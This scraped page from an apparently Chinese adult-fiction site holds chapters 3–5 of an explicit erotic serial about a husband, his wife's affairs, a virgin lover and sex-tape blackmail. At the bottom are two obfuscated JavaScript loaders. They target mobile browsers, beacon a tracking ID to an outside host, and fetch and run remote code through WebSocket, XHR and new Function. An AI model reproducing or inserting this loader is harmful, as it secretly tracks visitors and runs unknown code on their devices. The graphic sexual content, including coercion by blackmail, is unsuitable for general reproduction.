图片载入中

《帮助妻子去偷情》(六)3-5

特大字】 【大字】 【中字】 【小字

《帮助妻子去偷情》(六)3-5

3、

不知是为什么,我觉得今晚小灵的声音格外甜美与细腻。他们俩一面做着一面还聊着天。

“亲爱的,今天晚上你老公会不会发现你和我幽会?”

“嗯,动一动嘛!我老公,他,人挺好的,我没和他说,但是出门之前,我故意当着他的面,把一条新内裤放到包里,到现在还没回来,他应该知道吧。”

“宝宝,你老公不怕戴绿帽子吗?他不会吃醋?”

“他很爱我,同时也愿意其他男人分享我美妙的身体,甚至是感情。”

“你说的我还是不敢相信,连爱情也愿意与别的男人一同分享?你爱我吗?还是更爱他?”

“我爱你,也爱他,哦,你,你别动,就在那个点上,人家特别舒服!对!哦!”

“你想,他会不会同意和你离婚?”

“我不知道,不过婚姻不过也是一种形式,我爱他,他爱我,这才是最重要的!我想,他会理解我、支持我的决定的。”

什么!我简直不敢相信自己的耳朵,小灵要和我离婚?!她还认为我会支持她?!

“我可以叫你我的小娇妻吗?亲亲这儿可以吗?”

“不……要……嗯……唔……唔……”

“哦,使劲吧!亲哥哥,我的情人,操死我吧。”

“我爱你,我的情人,我要做你的小妻子,天天要你操我!”

“嗯,坏死了,一边干着人家,还一边摸人家的小阴蒂,哦,爽死了!!”

“哦,你的龟头,顶到我的花心里了,哦,就在那里,别动……哦,磨死我了,天!”

听声音,我就知道在我娇妻小灵的小穴里,来了一个个头不小的客人,肉壁和鸡巴一定结合得很紧,小灵今天的感觉肯定很爽。

蓝水晶听得面红耳赤,双足如钉在地,酥胸起伏不停着。

我轻轻地推了推她:“晚了,我们走吧。”

小蓝用一种怪异的眼神看了看我,轻轻摇摇手,慢慢地走到门口,我也随着她走到门口,这时听声音小灵正好到了一个高潮。从门缝里,我们看见室内幽暗的灯下,好一副欲海春情图:我的小灵在那个许果的身下,一双雪臂紧箍住他的双肩,一双柔美纤长的雪滑玉腿紧紧夹住他的腰身,全身大幅度弓起,四肢抽搐,一阵阵难言而美妙地酥麻,使她剧烈地痉挛、抽搐……

“我要来了,我,深点,使劲动!”

“我,我死了,我的天,好舒服啊!都射进去吧!啊!……”

小蓝似乎再也看不下去了,她轻轻地呻吟一声,倒在我的怀里。

我知道小蓝还是处子,这种刺激对她可能太强,轻轻地把她半抱着,走出了许果的家。

出了门,小蓝被夜风激了一下子,有些清醒,她伏在我怀里,羞涩地笑个不停:“狗男女,真不要脸!”

然后我亲了她一口,她充满激情地回应着我,并喃喃说道:“我今晚就想和你做,哥哥,我还是处女,你,你要教教我。”

我点点头,车开得飞快,急切地想把心痛甩在脑后。

回到家后,小蓝已经快瘫软了,我只能把她抱到床上。

刚刚把小蓝的蓝裙子脱到膝盖那里,我就闻到一股酸酸的味道,灯下,看到小蓝穿着一条很小的月白蓝的三角裤,有一些粘粘的阴毛露在外面,大腿根部的那一片,早已经湿得能看见里面的春光了。

小蓝只是闭着眼睛,一动不动地躺在床上。

我继续脱掉她的内裤和上衣,当解开她的胸罩后,我看到眼前是一具粉雕玉琢、晶莹玉润的雪白胴体,裸裎如婴儿,娇滑玉嫩的冰肌玉骨,平滑雪白的柔美小腹,腰身纤细,盈盈不堪一拥,优美修长的雪滑玉腿,和大腿根部的黑森林,看得我眼中充血。我轻轻地搂住小蓝,小蓝星眸半睁,把一张艳艳的红唇贴上我的口,我们狂热地亲吻起来。

过了一会儿,我问小蓝:“妹妹,我要弄了。你可以了吗?”

小蓝几乎难以觉察地点了点头。

我低下头,从小蓝的上身开始。她那双颤巍巍娇挺的椒乳,与周围那一圈粉红诱人的淡淡乳晕配在一起,犹如一双含苞欲放的花蕾,使我几乎无法自控,俯身相就,用舌头舔弄起她的乳蒂,接着又把整个乳尖都衔进了嘴里,用牙齿咬住,小蓝轻轻地抖动起来。

然后我腾出双手,不断地抚摸着小蓝的小腹部,并开始向下发动袭击。

看小蓝身心已经放松,我抓住机会,一只手在她花瓣上方那尖尖的,嫩嫩的阴核小肉芽上轻轻的揉动了一下,刹时间小蓝全身发颤,扶起我的脸,用她的唇紧紧封住了我的嘴,柔软的嫩舌主动的与我交缠厮磨。

在这一只手不断地活动下,只一会儿,小蓝的小肉芽就韧滑如珠,她轻轻叫了一声,牙齿一下子咬住了我的唇,原来她的第一次高潮已经到了:我感觉一股凉凉的阴精由她的花瓣缝中渗出,将她的花瓣弄得润滑无比,柔腻的大腿轻微的抽搐着,我不再犹豫,手扶着挺立的鸡巴,坚硬的大龟头在她的花瓣上不断磨擦着,她的全身开始发烫如火,浑圆雪白的大腿主动地张开了一个大角度。

我慢慢地把鸡巴探入她未经耕耘的花径,立即感觉到龟头的棱沟被一圈软肉紧紧的圈住,强烈的激动及生理本能的反应,使得小蓝阴道壁的嫩肉不停的蠕动收缩,我进入她体内半厘米不到的鸡巴被刺激得更加硕大。

这时她被我紧紧吻住的柔唇发出唔唔之声,嘴里发出一阵阵的叫声:“别,别,轻一点,轻一点。”

我感觉已经顶到了她阴道内那层薄薄的处女肉膜,为了不让她紧张,我轻轻后退一点,然后突然间,下身往前一挺,粗大的龟头立时戳破了那道处女屏障,在淫液的帮助下,坚挺的大龟头直入她的子宫深处。她闭着眼睛,疼得睫毛不停的颤动,眼角流下了两道泪痕。

我不敢再动,稍过了一会儿,小蓝轻轻地抬起头,娇喃着:“亲哥哥,亲老公,都是你的人了,随便你处置吧。动吧。”

然后,还主动地用贲起的阴阜轻轻摩擦着我的耻骨,柔嫩的阴道壁也有所放松。我双手不断地在小蓝的上身活动着,亲吻着,原来清纯文雅、美貌动人的蓝水晶终于彻底拜倒在我的胯下,羞靥晕红、含羞承欢,我的抽动也越来越自如,她雪白赤裸的柔软胴体的起伏也越来越剧烈。粗大的肉棒又狠又深地插入她的阴道最深处,紧胀着她那娇小紧窄的阴道肉壁,她的嫩肉也紧紧地缠夹住我滚烫的肉棒,一阵接一阵地收缩┅┅

终于,小蓝开始抵死逢迎,浪叫连连:“亲哥,哥哥,呜,我要死了,我的里面,出了好多水了,我要来了!快,再深点!”

“小蓝,我的宝贝,我的好妹子,我爱你!”

“我也爱你,我的哥哥,我一辈子都是你的人,我要和你天天做,天天让你占有,呜,哦,快点,再快点!”

当高潮来临的那一刻,小蓝全身冒着汗,两个乳房在我的冲击下上下乱抖,她双眸微合,拼命地娇叫着。

“来了,我来了!!我要你!”

我龟头一麻,肉棒狠狠地顶在小蓝的肉腔深处,一阵阵子弹倾泄而出。

小蓝的叫声已经有些微弱:“哥哥,哥哥,哥哥,我要做你的小妻子,我要把一辈子都给你。”

4、

第二天,小蓝就早早地离开了我。我还在恍惚之间,感觉到她亲了一下我的嘴,并在我耳边轻轻说道:“你是我的哥哥,我要服侍你一辈子!小灵嫁给许果最好,如果她还恋栈,我就再和她抢上一回!”

当天上午,小灵回家后,第一句话就是向我提出离婚。

我心里一阵冰冷,静静地看着小灵,没有说话。

然后小灵吃吃笑了起来,“傻老公,你别害怕,我不会离开你的。事情是这样的,那个许果,人家和他,昨天已经爱爱了,没经过你同意,真的对不起,实在当时是忍不住了。”

我看着小灵,还是没言语,小灵有些害怕:“你知道的,我对你的爱是百分之九十,对他的爱最多百分之十,而且,都是多年前的事了,我不可能和他过一辈子的。”

小灵慢慢道出原委,原来,许果在国内一直混得很不得意,他准备到美国留学,可是单身学生,签证很难拿下来,所以他想让小灵和我离婚,和他结婚,助他拿下签证,出国后,小灵再与我复婚。

小灵说:“他是个很有才华的人,现在是没办法了,但只要到了美国,他一定可以混出来的。老公,我和你只是假离婚,和他也是假结婚。如果你要是不同意,我现在就给他打电话。”

然后小灵拿起电话,看我没反应,等了两秒钟,毅然决然地拨起电话来。

我按下小灵手中的电话:“我同意了。”

“不过你可不要想什么美事啊!我怎么觉得蓝丫头最近和你有些不正常啊!你别打她的主意!你这么笑是什么意思?对着镜子看看去,好阴险的嘴脸!你们不会是已经有什么了吧?!”

我连忙摇头,小灵红着脸轻笑了一声:“我告诉你,别看着碗里的还想着锅里的,蓝丫头就是脸蛋好看,你不知道,她的胸很小的,腰也没有我的细,这一点,如果你不相信我,可以验证一下的。”我呆着脸,不知如何回答她。

小灵被我骗了过去,放心地笑了笑,接着说起许果和小蓝的事,小蓝爱了许果四年,但是越爱越失望,小蓝怨许果没有全心全意地爱自己,怨他没有她“王哥”那样挣大钱的本事,许果呢,一直还是不能忘记小灵,实际上在小灵介入之前他们已经快完了。

然后小灵才和我解释起昨晚上的事,她斜着眼对我道:“你知道为什么我没有事先告诉你吗?我,我真有些不好意思。以前,我都是被动的,这一次我想改变一下,试试勾引男人是什么味道。”

我的手轻轻地在她娇柔的大腿根部细腻的皮肤上滑动着,心里想着昨天的情景,除了兴奋之外,还有种说不出的滋味,这个美妙的肉体已经在三个男人的胯下抵死相就、婉转承欢了!

我继续往深里摸,哦,那里就是她丰腴多汁的桃花洞口了,除我之外,更有三根粗壮的鸡巴向里面尽情灌注过滚烫的精液,把小灵浇得欲仙欲死,更为奇妙的是,直到现在我还是认为,小灵依然是我清纯贞结的爱妻!

然后小灵告诉我,虽然昨天她在走之前,准备了要换的内衣,决定主动把肉体交给许果尽情玩弄,但是从心里面又希望许果既然很爱她,就不能太着急了!

她也觉得自己很好笑,既想纵情享受淫乱之乐,又希望能过一个纯情如梦,不带一点肉欲的夜晚。多么矛盾的小灵啊!

“上床之前,我和他已经调了半天的情了。我当时只穿了一件很薄的内衣,裙子底下是一条白色半透明的内裤,我解开裙子后,他盯着我的那个地方,眼睛都直了。我躺到床上,看他还是有些发愣,因为先前我已经和他说了,我希望和他共度一个爱情的夜晚,我希望光着身子,象个小妹妹躺在大哥哥的怀里一样,在他的保护和爱情里睡个好觉。我、也和他说了,他可以占些便宜,可以尽情温存我,但不要做那个、那件事,留到新婚之夜再做。当晚上只要他做了,我一待他去美国了就和你复婚。”

“好险!你居然敢和他打这个赌!如果他不做呢?你就和他一直保持婚姻关系了?”

“哟,宝贝,看把你吓的!亲爱的,我永远是你的老婆,不会和别人跑的!其实,就是不复婚,我还是你的老婆,你还是我的老公,婚姻,不过是一种形式罢了!你说呢?”这时,我莫名奇妙地想起了蓝水晶,如果,如果……

小灵接着说:“我使尽了全身解数,有些……”小灵娇羞不堪,快说不下去了,“有些招数,对你,都没使过。他原以自己能控制住,但是等俩人在床上面对面躺着,唿吸交融,气息相熏,连,连我都醉了,更何况他呢?”

“一开始,我们俩都老老实实的,就象老夫老妻那样,他就是不断地说着爱我,我也对他说爱他,然后我们就亲了起来,我先是平枕在他胳膊上,后来被他越搂越紧,两人全身都贴到了一起,他的下面,也紧紧地顶在……顶在我那里,一会儿,我说我流了,他很兴奋,可是还是一点动作也没有,只是亲我。”

“然后呢?”

“我看他一动也不动,就趴到他身上亲他,可是他还是不敢动。”

我虽然知道他们已经交欢了,但是听着听着心里多少还是有些着急:干吧,干我老婆吧!我祈求着。

“我还真怕他不做,咬咬牙,就当着他的面,把上衣脱了,又解下乳罩,等我再次伏在他怀里时,他阵脚大乱,摸着我的乳头,一直把我摸得全身酥软,然后他说:咱们睡觉吧。我气坏了!”

小灵的小脸气得通红,她攥着小拳头,在我面前挥了一下:“你说,他可气不可气,把你老婆都弄成那样了,又不继续玩下去了!”

我拉着小灵的手,把它引向我的鸡巴,“应该使劲干死你、玩死你,这个傻瓜!”

小灵一面和我说着,一面把衣服解开,把两条赤裸的大腿分跨在我的左右。“当时我就是这样,把下面也脱了,我说我喜欢裸睡的。然后一丝不挂地再次贴到他身上,他才真晕了,一遍又一遍地摸我,然后把自己也脱光了,还要按那种姿式搂着我,我说,你把我的大腿抬到你的肩上。他这么做了。”

我也慢慢地把小灵柔滑雪白的玉腿抬到了肩上,问:“然后呢?”

小灵笑了:“你要复原通奸现场吗?我配合你吧。”

“然后他还是不进去,就是在那里又蹭又磨的,天很热,他家里连空调都没有,汗水、爱液、唾液,把我和他粘得紧紧的,不过确实也很刺激,有种……有种……和老公做都没有的感觉。”

“什么样的感觉?”我努力掩饰着心里的醋意。

“我的小腹里麻麻的,好象有很多蚂蚁在爬,当时就是想使劲地尽他玩弄。”

我一面听着,一面有所动作,当我的鸡巴顶到小灵的私处时,小灵啊啊地叫着,并慢慢地向前挪动臀部,“我往前一迎,他的大龟头,就是这样,一下子就顶了进去,把我的小穴挤得满满的。我的浪液一直流到了大腿上。”

我压着她的大腿,把鸡巴钻到小灵的深处,心里一阵难言的快乐:这块充满灵气的玉,在我的雕琢之下,终于活了起来,有了生气了!

之后我又问小灵:“主动勾引已经实践完了,你觉得滋味怎么样呢?”

小灵笑着钻到我怀里,半响才说了一句,“一般来说,我还是喜欢被动的,被男人……尽情蹂躏的滋味。”

“什么?!”

“真的,很多女人潜意识里都有这种欲望,希望让一个老流氓,在不伤害自己、不留下后患的情况下,尽情地猥亵,猥亵到最后,就主动地把自己交给他了。”

她接着告诉我,那一次她去老猫家里,当晚老猫正好玩过一个小姑娘,所以好整以暇地接待她,把她丢的发夹找到后,陪她吃了晚饭,并同坐在沙发上聊了一会儿天,就是不急于行动。最后,老猫竟看看表,说:“太晚了,我送你回去吧。”

他把小灵送到门口,小灵红着脸,看着他,两人都不说话。两分钟以后,小灵第一次丢掉矜持,狠狠地踢了他一脚:“你真讨厌!非要人求你了!”

在老猫的得意笑声中,她终于红着脸慢慢地低下头,主动地放下了她为人妻者的尊严。心砰砰跳得很快,知道当晚可能要被玩得很惨,却更加心弛意荡。

门重新关上了。

小灵再也不避违什么了,她主动地脱光衣服,上了床。当晚,老猫不仅吃了她的爱液,还在她的屁眼上一圈一圈地舔着,把小灵弄得如痴如醉:“我的亲老公,我的亲爹,那儿脏儿,你怎么能。哦,爽死了。你怎么能舔。哦,别舔了,我求求你了!!我受不了了!!随你怎么干我,天天干我都行,别舔了啊!哦,丢了,我丢了!”

最后小灵的括约肌完全地失控,尿到床上去了!老猫还在征得了小灵扭扭捏捏的同意之后,慢慢地把他的大鸡巴挤进了小灵的屁眼里,另一只手在她的浪穴里不断地插动,把她再一次地弄得哭爹喊娘,心神俱醉。

老猫还很得意地命令小灵,让她转告我,他虽然没能开恳小灵的嫩穴,但是她屁眼的第一次,却是给了他。

那一次小灵真的爽极了!

5、

我听完小灵的讲述,才明白为什么第二天小灵已经累得不想和我做爱了,那一个晚上,小灵说,她至少让老猫射了四次。她丢的次数更是数不胜数。

后来,老猫说:每星期五她都必须要到他家做上门服务,还有,如果小灵和我过不到一块了,小灵必须要跟他结婚,否则他就要把他和小灵做爱的录相带制成VCD,沿街兜售。

更要命的是,小灵当时已经被他弄得心服口服,根本记不起世界上还有我和许果这两个人,她竟然美滋滋地答应了他。其实就是不答应,又能怎么样呢?把柄已经落到他手里了。所以,我也没有怪她。

我一面理着小灵的鬓发,一面问她:“那,你们家许果会同意你红杏出墙吗?”

小灵急了:“谁们家!谁们家!”她带着哭声说:她一再和我说了,她和许果结婚,只是为了帮他最后一次忙,她才不管许果同意不同意呢!她更要我记着,不管离婚结婚,她都永远都是我的妻子,永远不会离开我半步!

我又问小灵,如果老猫知道了你和我离婚,和许果结婚,他会答应吗?这下小灵也发起了愁。一会儿她摇摇头,对我说:只能是悄悄地结婚,万一老猫知道了,那可实在不得了了!万一那盘录相带流落在外,一切可都完了!

第三天,我就和小灵办了离婚手续。当晚,她跑到许果家里,一直到第三天才回来。小蓝就趁机偷着跑过来和我做爱。

这两个星期,蓝水晶只要一有空就给我打电话,有时打我家里,小灵接了,她们俩就姐呀妹呀地聊个没完。有一次小蓝故意逗引她,说你都已经和王哥办了离婚了,和许果什么时候成好事啊?想大办还是小办啊?

小灵一听到这个就没了兴趣,好一会儿才告诉小蓝,小办一下就可以了,最好是只登个记,不会有其他任何仪式了。

小蓝笑着在电话那头问:“圆房也不圆了?哦,我记起来了,那个仪式是提前了。那天晚上,我拉着王哥去救你,没想到竟当了一回证婚人。”小蓝也是初为妇人,羞得说不下去了。

小灵骂了她几句。她早已经知道了那个晚上我和小蓝的故事前半段了(我知道她对我和小蓝之间的关系只略有些疑心,所以多一点也没有告诉她),每一次小蓝上门来找我,见到小灵,就假戏真做,和小灵玩上好半天。

有时她还当着我的面故意躁小灵,把小灵弄得下不来台,只好回嘴:“你个毛丫头,嘴上这么缺德,老天爷一定也会安排我看到你被男人玩得欲仙欲死的!最好是一个老淫棍!看你还怎么说!”

蓝水晶既然已经把自己的处女之身献给了我,她就完全地把我当成她的终身之托,当蓝水晶从我这里知道了小灵一点儿也没有移情、而且假离婚后还要复婚这一想法后,她真的发起了愁。

发愁归发愁,小蓝对我的性格还是有些了解,她知道我本性软弱,每天枕边风吹着,曼妙的肉体缠着,不断催我去和她办结婚手续。

我已经没有一点的主意了。小灵到现在这种情况,完全是为了满足我的观淫欲,当然,她也慢慢从中体会到很多的乐趣。

我一直深爱着小灵,同时对小蓝的爱情也达到了顶峰,如果有可能,她们俩我都想要,当然,大前提是小灵能够容得了她。当我嗫嚅着说出我的想法后,小蓝脸色有些发白,她咬了咬牙,指着我说:“你的大前提错了,是如果我能容得了她。”

我这才对眼下的形势有所了解,小灵已经快要嫁为人妻(每每想起大后天就要发生的一幕,我心里就暗自诅咒着自己:我真是天底下最大的混蛋,这么美这么好的娇妻,竟要亲手送与他人了!虽然日后还会完壁归赵,但是破镜真会无一丝裂痕吗?);这面,小蓝也已经破釜沉舟,今天她把户口本什么的都带来了。

“哥,今天是个好日子,办完手续,我们先找个地方吃顿饭,晚上我洗个澡,让你玩个痛快,好——不——好——亲——哥——哥?”

虽不知日后小灵会怎么跟我算这个帐(心里面我还是把她当做我的妻子),可是万般无奈之下,我也只好一步一步地挪到了结婚登记处。

出了结婚登记处的大门,我的娇妻小蓝拥着我,狠狠地亲了我一口:“做好人一定有好报,当初原想着是为了赔错,要委屈一辈子了,谁知天下掉下个伟哥哥!”

“伟哥哥?”

“你很伟大啊,你的底下很伟大啊!”

晚上我们找了一家餐厅吃饭,我还是愁眉难展,不知如何向小灵解释这个事情。小蓝有些不高兴了:“如果有一天,她从许果身边回来了,我会跪下来求她的,说什么都是我的错,不关你的事,是我逼你娶我的,我认她做姐姐,她大我小都行,如果她真要是不答应,那么只有她走了,因为我们是法律保护的夫妻关系。”

“别说了,如果小灵知道了,她、她会难过死的。”

“求你了,今天是我们的好日子,别再想你的前妻了!”她一气之下,摔了筷子。

这时,一个老男人站在我背后对她说:“我是王兵的朋友,你,你是他现在的妻子吗?”

小蓝变回笑脸,很客气地向他点了点头,我回头一看,竟是老猫!老猫一面狠狠地压着我的肩,一面上下打量着小蓝。


上一篇:凤求凰

下一篇:学校恋情


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};